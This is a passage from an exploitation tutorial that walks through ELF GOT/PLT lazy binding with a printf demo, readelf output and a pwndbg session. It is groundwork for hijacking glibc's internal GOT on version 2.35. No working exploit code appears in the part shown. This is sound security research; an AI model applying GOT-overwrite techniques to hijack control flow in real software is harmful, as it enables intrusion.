TL;DR

In modern glibc, the days of leveraging our trusty primitives—like __[malloc|free]_hook—for seamless arbitrary code execution are gone. But the game isn't over. We can still twist the IO internals to our advantage, a theme I've dissected in several prior exploits. This time, we pivot toward a fresh vector: manipulating the glibc GOT and PLT internals.

With glibc 2.34 and onward phasing out hook functions, our exploration takes us into the evolving terrain of glibc 2.35 and beyond. Notably, 2.36 introduces a non-writable area on top of the GOT table, and 2.38 restricts read-only permission to kill the exploit — while 2.35 remains writable, offering a fleeting window for exploitation.

This isn't another ret2plt detour—no reliance on incomplete RELROs or tampering with the binary's own GOT/PLT. Instead, we descend deeper: into the guts of glibc itself, targeting its internal GOT in a more surgical, low-level fashion.

Dive into GOT

Before embarking on the journey of compromising the GOT, it's essential to clarify a foundational truth: both the ELF executable and glibc (libc.so.6) maintain their own independent Global Offset Tables (GOT) and the Procedure Linkage Tables (PLT)—for all dynamically linked binaries, including the loader(ld.so) itself.

Despite residing in separate objects, these GOTs follow the same underlying mechanism for resolving function addresses at runtime.

Our objective is to achieve a comprehensive grasp of the GOT–PLT architecture—how they collaborate, how relocations work, and how control flow is dynamically patched—through a methodical, hands-on, emprical go through in the following sections.

GOT/PLT Workflow

Overview

To exploit dynamically linked binaries effectively, one must internalize the mechanics behind the Global Offset Table (GOT) and the Procedure Linkage Table (PLT)—cornerstones of runtime function resolution in ELF binaries.

Key principles include:

NameTypeRoleData Type
.gotSectionGeneral Global Offset Table (addresses for global variables, some functions)Data
.got.pltSectionSpecial GOT part reserved for PLT-resolved function addressesData
.pltSectionStubs (tiny functions) that perform indirect jumps using GOT entriesCode (executable)
_GLOBAL_OFFSET_TABLE_SymbolLabel pointing to the start of GOT (often inside .got.plt)Data

Iniside each .got(.plt) section, there're GOT0 (PLT0) and GOT entries (PLT entries). We will see how they cooperate in the following demonstration.

Demo Code

In the following sections, we'll unravel the inner workings of this mechanism by walking through a minimalist demo that invokes an external glibc symbol—printf:

C
/* demo.c
 * Debugging compile: gcc -g -no-pie -fno-PIE -O0 -o demo demo.c
 */

#include <stdio.h>

int main() {
    int n = 0xdeadbeef;
    printf("%d\n", n);
    return 0;
}

To maximize visibility during debugging, we disable both PIE and compiler optimizations, ensuring static code layout. Additionally, I recommend disabling ASLR system-wide to maintain address consistency across runs.

Observe ELF Sections

Dump all ELF sections of the binary with readelf -S:

$ readelf -S demo
There are 36 section headers, starting at offset 0x57a8:

Section Headers:
[Nr] Name              Type             Address           Offset
Size              EntSize          Flags  Link  Info  Align
[ 0]                   NULL             0000000000000000  00000000
0000000000000000  0000000000000000           0     0     0
[ 1] .note.gnu.pr[...] NOTE             00000000003fe388  00000388
0000000000000040  0000000000000000   A       0     0     8
[ 2] .note.gnu.bu[...] NOTE             00000000003fe3c8  000003c8
0000000000000024  0000000000000000   A       0     0     4
[ 3] .interp           PROGBITS         00000000003fe3f0  000003f0
000000000000001c  0000000000000000   A       0     0     8
[ 4] .gnu.hash         GNU_HASH         00000000003fe410  00000410
000000000000001c  0000000000000000   A       5     0     8
[ 5] .dynsym           DYNSYM           00000000003fe430  00000430
0000000000000090  0000000000000018   A       6     1     8
[ 6] .dynstr           STRTAB           00000000003fe4c0  000004c0
000000000000009d  0000000000000000   A       0     0     8
[ 7] .dynamic          DYNAMIC          00000000003fe560  00000560
00000000000001e0  0000000000000010  WA       6     0     8
[ 8] .gnu.version      VERSYM           0000000000400500  00002500
000000000000000c  0000000000000002   A       5     0     2
[ 9] .gnu.version_r    VERNEED          0000000000400510  00002510
0000000000000030  0000000000000000   A       6     1     8
[10] .rela.dyn         RELA             0000000000400540  00002540
0000000000000060  0000000000000018   A       5     0     8
[11] .rela.plt         RELA             00000000004005a0  000025a0
0000000000000018  0000000000000018  AI       5    23     8
[12] .init             PROGBITS         0000000000401000  00003000
000000000000001b  0000000000000000  AX       0     0     4
[13] .plt              PROGBITS         0000000000401020  00003020
0000000000000020  0000000000000010  AX       0     0     16
[14] .text             PROGBITS         0000000000401040  00003040
0000000000000110  0000000000000000  AX       0     0     16
[15] .fini             PROGBITS         0000000000401150  00003150
000000000000000d  0000000000000000  AX       0     0     4
[16] .rodata           PROGBITS         0000000000402000  00004000
0000000000000008  0000000000000000   A       0     0     4
[17] .eh_frame_hdr     PROGBITS         0000000000402008  00004008
000000000000002c  0000000000000000   A       0     0     4
[18] .eh_frame         PROGBITS         0000000000402038  00004038
000000000000008c  0000000000000000   A       0     0     8
[19] .note.ABI-tag     NOTE             00000000004020c4  000040c4
0000000000000020  0000000000000000   A       0     0     4
[20] .init_array       INIT_ARRAY       0000000000403de8  00004de8
0000000000000008  0000000000000008  WA       0     0     8
[21] .fini_array       FINI_ARRAY       0000000000403df0  00004df0
0000000000000008  0000000000000008  WA       0     0     8
[22] .got              PROGBITS         0000000000403fc8  00004fc8
0000000000000020  0000000000000008  WA       0     0     8
[23] .got.plt          PROGBITS         0000000000403fe8  00004fe8
0000000000000020  0000000000000008  WA       0     0     8
[24] .data             PROGBITS         0000000000404008  00005008
0000000000000010  0000000000000000  WA       0     0     8
[25] .bss              NOBITS           0000000000404018  00005018
0000000000000008  0000000000000000  WA       0     0     1
[26] .comment          PROGBITS         0000000000000000  00005018
000000000000001b  0000000000000001  MS       0     0     1
[27] .debug_aranges    PROGBITS         0000000000000000  00005033
0000000000000030  0000000000000000           0     0     1
[28] .debug_info       PROGBITS         0000000000000000  00005063
00000000000000bd  0000000000000000           0     0     1
[29] .debug_abbrev     PROGBITS         0000000000000000  00005120
0000000000000087  0000000000000000           0     0     1
[30] .debug_line       PROGBITS         0000000000000000  000051a7
000000000000005f  0000000000000000           0     0     1
[31] .debug_str        PROGBITS         0000000000000000  00005206
0000000000000097  0000000000000001  MS       0     0     1
[32] .debug_line_str   PROGBITS         0000000000000000  0000529d
0000000000000038  0000000000000001  MS       0     0     1
[33] .symtab           SYMTAB           0000000000000000  000052d8
0000000000000240  0000000000000018          34     6     8
[34] .strtab           STRTAB           0000000000000000  00005518
0000000000000125  0000000000000000           0     0     1
[35] .shstrtab         STRTAB           0000000000000000  0000563d
0000000000000166  0000000000000000           0     0     1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)

All ELF sections are kept visible during the analysis to maintain clarity on their layout and positioning. This visibility allows us to pinpoint where each segment resides in memory and understand how they interplay during execution.

For this exploration, we narrow our focus to the following segments of interest:

SectionAddressSizeFlagsMeaning
.plt0x4010200x20AXCode stubs for dynamic calls (Procedure Linkage Table)
.got0x403fc80x20WAGlobal Offset Table for general variables/functions
.got.plt0x403fe80x20WAGOT entries used specifically by .plt

And we notice:

  • .plt is executable (AX flags).
  • .got and .got.plt are writable (WA flags).
  • So GOT and GOT.PLT can be overwritten unless protected (e.g., RELRO).

Dump Relocations

We can just print relocation entries (dynamic linking points) with readelf -r:

$ readelf -r demo

Relocation section '.rela.dyn' at offset 0x2540 contains 4 entries:
Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fc8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fd0  000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0
000000403fd8  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403fe0  000500000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0

Relocation section '.rela.plt' at offset 0x25a0 contains 1 entry:
Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0

There are two sections here:

  • .rela.dyn — generic relocations (for things like __libc_start_main, internal libs).
  • .rela.plt — relocations for PLT calls (external function calls like printf).

In our exploit, we would focus on the dumped .rela.plt:

OffsetInfoType
0x404000type 7 = JUMP_SLOTprintf@GLIBC_2.2.5

This entry tells the dynamic linker:

  • At offset 0x404000, patch a function pointer.
  • It's a JUMP_SLOT relocation, used for lazy binding—typical for external calls like printf.
  • The symbol in question is printf, bound to version GLIBC_2.2.5.

In essence, this means the GOT entry at 0x404000 will initially point to a PLT stub. Upon first execution, it's dynamically resolved to the actual printf address in glibc and overwritten.

PLT is mapped inside the RX page, which means it contains nothing but assembly codes (instructions). So, we can disassemble the .plt section for further inspection in the following illustration.

PLT

Disassemble the .plt section using Intel syntax (objdump -S --disassembler-options=intel):

$ objdump -S --disassembler-options=intel demo

[...] 

Disassembly of section .plt:

0000000000401020 <printf@plt-0x10>:
  401020:       ff 35 ca 2f 00 00       push   QWORD PTR [rip+0x2fca]        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  401026:       ff 25 cc 2f 00 00       jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40102c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000401030 <printf@plt>:
  401030:       ff 25 ca 2f 00 00       jmp    QWORD PTR [rip+0x2fca]        # 404000 <printf@GLIBC_2.2.5>
  401036:       68 00 00 00 00          push   0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 <_init+0x20>

Disassembly of section .text:

[...]

These are the static PLT sections before relocation.

On x86-64 architecture, most memory access is relative to the instruction pointer (rip).

Instead of hardcoding an absolute address, it computes:

[rip + offset]

Where:

  • rip = address of next instruction (current pc + instruction length)
  • offset = signed immediate displacement added to rip.

This is mandatory for position-independent or relocatable code. Even though we used -no-pie, the compiler still uses this form here.

So the offsets are correct in the disassemble output. For example, [rip+0x2fca] refers to <_GLOBAL_OFFSET_TABLE_+0x8>, and it adds the instruction length (6) along with the next referencing [rip+0x2fcc] (extra 2) — targets <_GLOBAL_OFFSET_TABLE_+0x10> (distance 8).

1. PLT Entry

We can first take a look at the 2nd block, which refers to the PLT entry on .text section:

0000000000401030 <printf@plt>:
  401030: ff 25 ca 2f 00 00    jmp  QWORD PTR [rip+0x2fca]  # 404000 <printf@GLIBC_2.2.5>
  401036: 68 00 00 00 00       push 0x0
  40103b: e9 e0 ff ff ff       jmp  401020 <_init+0x20>
  • jmp [rip+offset]:
    • Jump to .got.plt entry (at 0x404000) for printf.
  • If not resolved yet:
    • But, its GOT entry (404000) initially points back to the next following instruction back inside .plt—the PLT stub (401036), which executes:
      • push 0x0 → push relocation slot index 0 (for printf) to stack.
      • jmp 0x401020 → jump to PLT0 (resolver).
  • If resolved already:
    • .got.plt entry points directly to printf in libc, no resolver needed.

This is a lazy binding mechanism:

  • First call goes through PLT0.
  • Dynamic linker patches .got.plt.
  • Next call goes directly to libc.

2. PLT0

The 1st block is the mentioned PLT0 — the dynamic resolver stub:

0000000000401020 <printf@plt-0x10>:
  401020: ff 35 ca 2f 00 00    push QWORD PTR [rip+0x2fca]  # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
  401026: ff 25 cc 2f 00 00    jmp  QWORD PTR [rip+0x2fcc]  # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
  40102c: 0f 1f 40 00          nop  DWORD PTR [rax+0x0]
  • push [rip+offset]: push the address stored at _GLOBAL_OFFSET_TABLE_ + 0x8 (argument for resolver) onto the stack.
  • jmp [rip+offset]: jump to the address stored at _GLOBAL_OFFSET_TABLE_ + 0x10 (runtime resolver).
  • nop: just padding (do nothing).

It is used when the GOT entry is not yet patched.

GOT

_GLOBAL_OFFSET_TABLE_

In the earlier section, we encountered _GLOBAL_OFFSET_TABLE_—a pivotal player revealed inside PLT0, especially when the GOT entry remains unpatched. It acts as a symbolic anchor, pointing to the start of the GOT region, which encompasses the .got.plt section:

  • _GLOBAL_OFFSET_TABLE_ (GOT) is a symbol that marks the beginning of the GOT-related memory space.
  • The first 0x18 bytes refer to the so called GOT0, which includes:
    • Flags
    • A pointer to an argument list for the runtime resolver
    • The runtime resolver function pointer calling the loader (ld.so)
  • After GOT0, it's the .got.plt section, which is reserved for storing real pointers (addresses) of the called functions, or pointing to PLT stubs when they're not resolved during lazy resolution.

In ELF binaries, this symbol serves as a fixed reference to the base of the GOT. Here's an abstract layout of the _GLOBAL_OFFSET_TABLE_ region:

OffsetUsageBelongs to
+0x0FlagsGOT0
+0x8Resolver metadata, typically a pointer to arguments for the resolverGOT0
+0x10Address of dl_runtime_resolveGOT0
+0x18First function GOT entry (e.g., printf@got / strnlen@got).got.plt
+0x20Next function GOT entry.got.plt
......

1. GOT0

The first few slots (resolver stuff) are the so called GOT0. They are needed for lazy binding, while the rest are for individual dynamic symbols (printf, puts, etc.)

_GLOBAL_OFFSET_TABLE_ is automatically created by the linker for any ELF using the PLT/GOT mechanism.

We can inspect the symbols of an ELF using realelf -s:

$ readelf -s ./demo

Symbol table '.dynsym' contains 6 entries:
Num:    Value          Size Type    Bind   Vis      Ndx Name
0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)
2: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (3)
4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]

Symbol table '.symtab' contains 24 entries:
Num:    Value          Size Type    Bind   Vis      Ndx Name
0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS demo.c
2: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS
3: 0000000000403df8     0 OBJECT  LOCAL  DEFAULT    7 _DYNAMIC
4: 0000000000402008     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
5: 0000000000403fe8     0 OBJECT  LOCAL  DEFAULT   23 _GLOBAL_OFFSET_TABLE_
6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_mai[...]
7: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
8: 0000000000404008     0 NOTYPE  WEAK   DEFAULT   24 data_start
9: 0000000000404018     0 NOTYPE  GLOBAL DEFAULT   24 _edata
10: 0000000000401150     0 FUNC    GLOBAL HIDDEN    15 _fini
11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5
12: 0000000000404008     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
13: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
14: 0000000000404010     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
15: 0000000000402000     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
16: 0000000000404020     0 NOTYPE  GLOBAL DEFAULT   25 _end
17: 0000000000401070     5 FUNC    GLOBAL HIDDEN    14 _dl_relocate_sta[...]
18: 0000000000401040    38 FUNC    GLOBAL DEFAULT   14 _start
19: 0000000000404018     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
20: 0000000000401126    42 FUNC    GLOBAL DEFAULT   14 main
21: 0000000000404018     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
22: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
23: 0000000000401000     0 FUNC    GLOBAL HIDDEN    12 _init

As aforementioned, we will find it in every dynamically linked ELF binary or shared object, including:

  • main executable (e.g., ./demo)
  • shared libraries (e.g., libc.so.6, libm.so.6, libpthread.so.0)
  • the dynamic linker itself (ld.so)

2. GOT Entries

The memory starting from _GLOBAL_OFFSET_TABLE_+0x18 lays with GOT entries, where the function pointer entries begin — that is, GOT entries for external (e.g., glibc) functions like:

Each entry contains an 8-byte pointer to the actual resolved address of the function, which:

  • Initially points back to a PLT stub (for lazy binding)
  • Later gets overwritten with the actual address of the libc function after the first call

These are the targets we need to hijack in the attack technique we are going to introduce in this post.

GOT in Glibc

Glibc itself uses a GOT/PLT mechanism internally, just like any dynamically linked executable. When glibc needs to call internal functions (like calloc, realloc), it uses its own PLT stubs and GOT entries, which can be patched lazily at runtime through dynamic relocation.

  • For normal dynamically linked executables, GOT/PLT starts unpatched — lazy binding fills them when function is called.
  • For libc.so.6 itself, it is a shared object but when loaded by dynamic linker, some relocations are eagerly resolved depending on the binary's RELRO and NOW settings.
  • On some systems (especially modern Linux with full RELRO+NOW), glibc's critical entries are eagerly resolved at loading time, NOT lazily — this means they will then be NOT writable since glibc 2.36+.
    • Glibc is loaded by ld.so with -z now behavior (Full RELRO, immediate resolution).
    • Security reasons:
      • Critical symbols like calloc, malloc, free, realloc must be reliable very early.
      • Cannot afford lazy binding and potential GOT hijacking.
    • ld.so patches glibc's GOT before program starts execution.

Anyway, libc.so.6 has a similar section layout as normal ELF:

$ readelf -S libc.so.6
There are 71 section headers, starting at offset 0xb12560:

Section Headers:
[Nr] Name              Type             Address           Offset
Size              EntSize          Flags  Link  Info  Align

[...]

[12] .plt              PROGBITS         0000000000024000  00024000
00000000000003a0  0000000000000010  AX       0     0     16
[13] .plt.got          PROGBITS         00000000000243a0  000243a0
0000000000000010  0000000000000008  AX       0     0     8

[...]

[27] .got              PROGBITS         00000000001d8d60  001d7d60
0000000000000288  0000000000000008  WA       0     0     8
[28] .got.plt          PROGBITS         00000000001d8fe8  001d7fe8
00000000000001e0  0000000000000008  WA       0     0     8

[...]

And again we can confirm the relocations with readelf -r:

$ readelf -r /opt/glibc-2.41/lib/libc.so.6 

Relocation section '.rela.dyn' at offset 0x224a8 contains 88 entries:
Offset          Info           Type           Sym. Value    Sym. Name + Addend
0000001d5d80  0aab00000001 R_X86_64_64       00000000001e1940 _res@GLIBC_2.2.5 + 0
0000001d8d60  000000000012 R_X86_64_TPOFF64                     38

[...]

Relocation section '.rela.plt' at offset 0x22ce8 contains 57 entries:
Offset          Info           Type           Sym. Value    Sym. Name + Addend
0000001d9008  064900000007 R_X86_64_JUMP_SLO 000000000009c0d0 realloc@@GLIBC_2.2.5 + 24020
0000001d9028  09c000000007 R_X86_64_JUMP_SLO 000000000009c8c0 calloc@@GLIBC_2.2.5 + 24060
0000001d9068  000300000007 R_X86_64_JUMP_SLO 0000000000000000 _dl_find_dso_for_[...]@GLIBC_PRIVATE + 240e0
0000001d90a0  000500000007 R_X86_64_JUMP_SLO 0000000000000000 _dl_deallocate_tls@GLIBC_PRIVATE + 24150
0000001d90a8  000600000007 R_X86_64_JUMP_SLO 0000000000000000 __tls_get_addr@GLIBC_2.3 + 24160

[...]

Relocation section '.relr.dyn' at offset 0x23240 contains 34 entries which relocate 1092 locations:
Index: Entry            Address           Symbolic Address
0000:  00000000001d5d78 00000000001d5d78  .tdata
0001:  227000003fbf023d 00000000001d5d88  .tbss
00000000001d5d90  .tbss + 0x8
00000000001d5d98  .tbss + 0x10
00000000001d5da0  __dso_handle
00000000001d5dc0  _nl_C_LC_ADDRESS

[...]

.rela.plt contains relocations specifically for PLT entries (function pointers). For example:

OffsetRelocation TypeSymbol
0x1d9008R_X86_64_JUMP_SLOTrealloc
0x1d9028R_X86_64_JUMP_SLOTcalloc

.rela.plt is used to patch .got.plt entries for lazy function calls.

Debugging

We now attach GDB to the binary compiled from our demo, with PIE disabled, optimizations stripped, and ASLR turned off on a glibc 2.41 Arch Linux system—ensuring a stable and observable memory layout.

Part 1 dissects the GOT context within the binary itself, mapping how its PLT stubs interact with GOT entries during resolution.

Part 2 descends deeper—into glibc's internal GOT, where a more surgical exploitation opportunity awaits.

Part 1

Disassemble the main() function:

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000401126 <+0>:     push   rbp
   0x0000000000401127 <+1>:     mov    rbp,rsp
   0x000000000040112a <+4>:     sub    rsp,0x10
=> 0x000000000040112e <+8>:     mov    DWORD PTR [rbp-0x4],0xdeadbeef
   0x0000000000401135 <+15>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401138 <+18>:    mov    esi,eax
   0x000000000040113a <+20>:    mov    edi,0x402004
   0x000000000040113f <+25>:    mov    eax,0x0
   0x0000000000401144 <+30>:    call   0x401030 <printf@plt>
   0x0000000000401149 <+35>:    mov    eax,0x0
   0x000000000040114e <+40>:    leave
   0x000000000040114f <+41>:    ret
End of assembler dump.

At runtime, the call at 0x401144 targets the PLT stub at 0x401030, known as printf@plt.

At compile-time and link-time, the actual address of printf in glibc is not yet known. So, the compiler flags it as an external symbol, and the linker redirects the call to a trampoline—printf@plt—which handles resolution dynamically via the GOT/PLT mechanism.

Set a breakpoint at this call, stop to observe and disassembly printf@plt:

pwndbg> disass 0x401030
Dump of assembler code for function printf@plt:
   0x0000000000401030 <+0>:     jmp    QWORD PTR [rip+0x2fca]        # 0x404000 <printf@got[plt]>
   0x0000000000401036 <+6>:     push   0x0
   0x000000000040103b <+11>:    jmp    0x401020
End of assembler dump.

This matches the standard PLT stub structure, which we just introduced in previous section.

Every .plt entry (like printf@plt) is structured to fallback to PLT0 if .got.plt entry still points back into the PLT area (not yet patched to real libc).

.plt positions on the .text section, which means it contains some code context:

pwndbg> xinfo 0x401030
Extended information for virtual address 0x401030:

Containing mapping:
0x401000           0x402000 r-xp     1000   3000 /home/Axura/pwn/poc/pwn_got/demo

Containing ELF sections:
.plt 0x401030 = 0x401020 + 0x10

Before resolving the function call, we can stay here to observe .got.plt to see whether the function pointer has been patched or not yet:

Find .got.plt address:

pwndbg> got

/home/Axura/pwn/poc/pwn_got/demo:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000403fc8 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.34
0000000000403fd0 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable@Base
0000000000403fd8 R_X86_64_GLOB_DAT  __gmon_start__@Base
0000000000403fe0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable@Base
0000000000404000 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5

0x404000 is the GOT entry for printf, which belongs to .got.plt. Initially (before resolved), it points back to inside .plt:

pwndbg> x/gx 0x404000
0x404000 <printf@got[plt]>:     0x0000000000401036

pwndbg> x/gx 0x401036
0x401036 <printf@plt+6>:        0xffe0e90000000068

pwndbg> x/gx '[email protected]'
0x401036 <printf@plt+6>:        0xffe0e90000000068

pwndbg> x/2i '[email protected]'
0x401036 <printf@plt+6>:     push   0x0
0x40103b <printf@plt+11>:    jmp    0x401020

This indicates that the GOT entry for printf remains unpatched—still in its pre-resolution state.

At this point, it does not point to the actual printf in glibc, but instead loops back to the second instruction of the PLT stub. That stub prepares the stack and invokes PLT0, which ultimately calls the dynamic linker (ld.so) to resolve the real address.

So now, let's we continue to step in and analyze the call to printf@plt (at 0x401030):

0x401030       <printf@plt>       jmp    qword ptr [rip + 0x2fca]    <printf@plt+6>

  0x401036       <printf@plt+6>     push   0
  0x40103b       <printf@plt+11>    jmp    0x401020                    <0x401020>

First, we jmp to the memory address stored at [rip+0x2fca], which is .got.plt (GOT entry) for printf. Since the current value at 0x404000 is 0x401036, we jump back into the second instruction of printf@plt itself.

And there, we push relocation index 0 onto the stack — this number tells the dynamic linker which symbol to resolve (in our case, 0x0 = the 0-th relocation entry, which corresponds to printf).

Next, execution lands on the final instruction of the PLT stub—a jump into PLT0 at 0x401020, the shared resolver stub used for all unresolved external symbols. This is where lazy-binding transitions into full dynamic resolution.

Let's step into 0x401020, where PLT0 begins:

  0x401030       <printf@plt>       jmp    qword ptr [rip + 0x2fca]    <printf@plt+6>

  0x401036       <printf@plt+6>     push   0
  0x40103b       <printf@plt+11>    jmp    0x401020                    <0x401020>

0x401020                          push   qword ptr [rip + 0x2fca]
  0x401026                          jmp    qword ptr [rip + 0x2fcc]    <0x7ffff7fd8c60>

The first push populates another value related to the .dynamic section metadata ([rip + 0x2fca] = _GLOBAL_OFFSET_TABLE_ + 8) on the stack; the second jmp jumps into the dynamic linker (ld.so), now specifically ld.so runtime resolver code (at [rip + 0x2fcc] = _GLOBAL_OFFSET_TABLE_ + 0x10).

We can inspect _GLOBAL_OFFSET_TABLE_ in GDB to clearly understand the concept:

pwndbg> info variables _GLOBAL_OFFSET_TABLE_
All variables matching regular expression "_GLOBAL_OFFSET_TABLE_":

Non-debugging symbols:
0x0000000000403fe8  _GLOBAL_OFFSET_TABLE_
0x00007ffff7fadfe8  _GLOBAL_OFFSET_TABLE_

The first _GLOBAL_OFFSET_TABLE_ belongs to our binary (demo), and the second resides in glibc (libc.so.6). Both maintain structurally similar GOT layouts, yet serve different scopes—their entries reside in distinct memory mappings, each resolved within its own context.

Inspecting the binary's GOT:

pwndbg> vmmap 0x403fe8
Start                End Perm     Size Offset File
  0x402000           0x403000 r--p     1000   4000 /home/Axura/pwn/poc/pwn_got/demo
► 0x403000           0x404000 r--p     1000   4000 /home/Axura/pwn/poc/pwn_got/demo +0xfe8
  0x404000           0x405000 rw-p     1000   5000 /home/Axura/pwn/poc/pwn_got/demo

pwndbg> tel 0x403fe8
00:0000│  0x403fe8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403df8 ◂— 0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
01:0008│  0x403ff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe310 ◂— 0
02:0010│  0x403ff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64
03:0018│  0x404000 (printf@got[plt]) —▸ 0x401036 (printf@plt+6) ◂— push 0 /* 'h' */
04:0020│  0x404008 (data_start) ◂— 0
[...]

_GLOBAL_OFFSET_TABLE_+16 is hardcoded to jump into the dynamic resolver dl_runtime_resolve (0x7ffff7fd8c60).

Looking at glibc's counterpart:

pwndbg> vmmap 0x00007ffff7fadfe8
Start                End Perm     Size Offset File
  0x7ffff7f53000     0x7ffff7faa000 r--p    57000 17e000 /opt/glibc-2.41/lib/libc.so.6
► 0x7ffff7faa000     0x7ffff7fae000 r--p     4000 1d4000 /opt/glibc-2.41/lib/libc.so.6 +0x3fe8
  0x7ffff7fae000     0x7ffff7fb0000 rw-p     2000 1d8000 /opt/glibc-2.41/lib/libc.so.6

pwndbg> tel 0x00007ffff7fadfe8
00:0000│  0x7ffff7fadfe8 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d8b40
01:0008│  0x7ffff7fadff0 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbe090 —▸ 0x7ffff7dd5000 ◂— 0x3010102464c457f
02:0010│  0x7ffff7fadff8 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8c60 ◂— endbr64
03:0018│  0x7ffff7fae000 (*ABS*@got.plt) —▸ 0x7ffff7f2f8e0 (__strnlen_avx2) ◂— test rsi, rsi
[...]

Just like the binary, glibc itself has its own GOT and PLT. And again, both rely on the same dl_runtime_resolve, indicating that the resolution logic is centralized, even if GOT entries are scoped per object.

They both connect to the same resolver backend (0x7ffff7fd8c60), offering a unified exploit target in ld.so

Since the call is made to printf, the resolution process consults the binary's own _GLOBAL_OFFSET_TABLE_—not glibc's in this part.

The 1st push references from _GLOBAL_OFFSET_TABLE_+8 as an argument, and the 2nd jmp redirects the execution flow to _GLOBAL_OFFSET_TABLE_+0x10:

  0x401030       <printf@plt>       jmp    qword ptr [rip + 0x2fca]    <printf@plt+6>

  0x401036       <printf@plt+6>     push   0
  0x40103b       <printf@plt+11>    jmp    0x401020                    <0x401020>

  0x401020                          push   qword ptr [rip + 0x2fca]
  0x401026                          jmp    qword ptr [rip + 0x2fcc]    <0x7ffff7fd8c60>

0x7ffff7fd8c60                    endbr64
  0x7ffff7fd8c64                    push   rbx
  0x7ffff7fd8c65                    mov    rbx, rsp                           RBX => 0x7fffffffd640 —▸ 0x7fffffffd788 —▸ 0x7fffffffdbe6 ◂— ...

This is the runtime resolver (ld.so resolver stub).

This address 0x7ffff7fd8c60 is the runtime PLT resolver entry inside ld.so from glibc, accessing to _rtld_global_ro, a linker internal structure:

pwndbg> vmmap 0x7ffff7fd8c60
Start                End Perm     Size Offset File
  0x7ffff7fc6000     0x7ffff7fc7000 r--p     1000      0 /usr/lib/ld-linux-x86-64.so.2
0x7ffff7fc7000     0x7ffff7ff0000 r-xp    29000   1000 /usr/lib/ld-linux-x86-64.so.2 +0x11c60
  0x7ffff7ff0000     0x7ffff7ffb000 r--p     b000  2a000 /usr/lib/ld-linux-x86-64.so.2

pwndbg> x/10i 0x7ffff7fd8c60
0x7ffff7fd8c60:      endbr64
0x7ffff7fd8c64:      push   rbx
0x7ffff7fd8c65:      mov    rbx,rsp
0x7ffff7fd8c68:      and    rsp,0xffffffffffffffc0
0x7ffff7fd8c6c:      sub    rsp,QWORD PTR [rip+0x23fdd]        # 0x7ffff7ffcc50 <_rtld_global_ro+464>
0x7ffff7fd8c73:      mov    QWORD PTR [rsp],rax
0x7ffff7fd8c77:      mov    QWORD PTR [rsp+0x8],rcx
0x7ffff7fd8c7c:      mov    QWORD PTR [rsp+0x10],rdx
0x7ffff7fd8c81:      mov    QWORD PTR [rsp+0x18],rsi
0x7ffff7fd8c86:      mov    QWORD PTR [rsp+0x20],rdi

We will not dive into the full internal details of how the dynamic resolver works in this post. Instead, we focus on understanding the important observable effect:

In our case, the resolver updates the GOT entry for printf, so that future calls go directly to the real printf function in libc.

Here, we set a watchpoint monitoring the printf GOT entry (0x404000):

pwndbg> watch *0x404000
Hardware watchpoint 3: *0x404000

Now we continue the program, until it's paused when the memory at that watchpoint address is modified:

pwndbg> c

Hardware watchpoint 3: *0x404000

Old value = -136145584
New value = 4198454
